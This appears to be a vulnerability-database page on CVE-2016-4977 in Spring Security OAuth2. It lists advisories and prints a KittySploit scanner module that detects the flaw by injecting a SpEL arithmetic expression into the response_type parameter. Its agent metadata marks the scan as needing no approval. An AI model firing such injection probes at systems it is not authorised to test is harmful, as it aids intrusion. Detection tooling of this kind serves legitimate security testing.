Spring Security OAuth2 Remote Command Execution Detection
| Reporter | Title | Published | Views | Family All 24 |
|---|---|---|---|---|
| Exploit for CVE-2016-4977 | 8 Oct 202622:16 | – | githubexploit | |
| CVE-2016-4977 | 20 Jun 202201:10 | – | circl | |
| Spring Security OAuth Remote Command Execution Vulnerability | 27 Aug 201600:00 | – | cnvd | |
| Pivotal Spring Security OAuth SpelView Code Execution (CVE-2016-4977) | 20 Nov 201600:00 | – | checkpoint_advisories | |
| CVE-2016-4977 | 25 May 201717:00 | – | cve | |
| CVE-2016-4977 | 25 May 201717:00 | – | cvelist | |
| Spring Security OAuth vulnerable to remote code execution (RCE) via specially crafted request using whitelabel views | 18 Oct 201818:06 | – | github | |
| CVE-2016-4977-POC | 8 Oct 202615:08 | – | kitploit | |
| CVE-2016-4977 | 25 May 201717:00 | – | mend | |
| CVE-2 0 1 6-4 9 7 7: RCE in Spring Security Oauth vulnerability analysis-vulnerability warning-the black bar safety net | 19 Oct 201600:00 | – | myhack58 |
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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Spring Security OAuth versions 2."""
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Scanner, Http_client):
__info__ = {
'name': 'Spring Security OAuth2 Remote Command Execution Detection',
'description': 'Spring Security OAuth versions 2.0.0 to 2.0.9 and 1.0.0 to 1.0.5 contain a remote command execution vulnerability. When processing authorization requests using the whitelabel views, the response_type parameter value was executed as Spring SpEL which enabled a malicious user to trigger remote command execution via the crafting of the value for response_type.',
'author': ['KittySploit Team'],
'severity': 'high',
'tags': ['web', 'scanner', 'cve', 'cve2016', 'oauth2', 'oauth', 'rce', 'ssti', 'vulhub', 'spring', 'pivotal', 'vkev', 'vuln'],
'agent': {
'risk': 'active',
'effects': ['network_probe'],
'expected_requests': 1,
'reversible': True,
'approval_required': False,
'produces': ['tech_hints', 'risk_signals', 'endpoints'],
'cost': 1.0,
'noise': 0.3,
'value': 1.0,
'requires': {
'min_endpoints': 0,
'min_params': 0,
'tech_hints_any': [],
'tech_hints_all': [],
'specializations_any': [],
'risk_signals_any': [],
'auth_session': False,
'capabilities_any': [],
'capabilities_all': [],
'confidence_min': {},
'confidence_min_any': {},
'endpoint_pattern_any': [],
'param_any': [],
'api_surface_ready': False,
},
'chain': {
'produces_capabilities': [
{
'capability': 'admin_surface',
'from_detail': '',
},
],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': ['auxiliary/scanner/http/login_page_detector'],
},
},
'references': [
'https://github.com/vulhub/vulhub/blob/master/spring/CVE-2016-4977/README.md',
'https://tanzu.vmware.com/security/cve-2016-4977',
'https://nvd.nist.gov/vuln/detail/CVE-2016-4977',
'https://pivotal.io/security/cve-2016-4977',
'http://www.openwall.com/lists/oss-security/2019/10/16/1',
],
'cve': 'CVE-2016-4977',
}
def run(self):
r = self.http_request(method="GET", path='/oauth/authorize?response_type=${13337*73331}&client_id=acme&scope=openid&redirect_uri=http://test', allow_redirects=False)
if not r or r.status_code != 400:
return False
body = r.text or ""
body_any = ('Unsupported response types: [978015547]',)
if (any(m in body for m in body_any)):
self.set_info(
severity='high',
reason="Spring Security OAuth2 Remote Command Execution detected",
path='/oauth/authorize?response_type=${13337*73331}&client_id=acme&scope=openid&redirect_uri=http://test',
)
return True
return False
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28 Jul 2026 11:27Current
7.9High risk
Vulners AI Score7.9
CVSS 26.5
CVSS 38.8
EPSS0.79176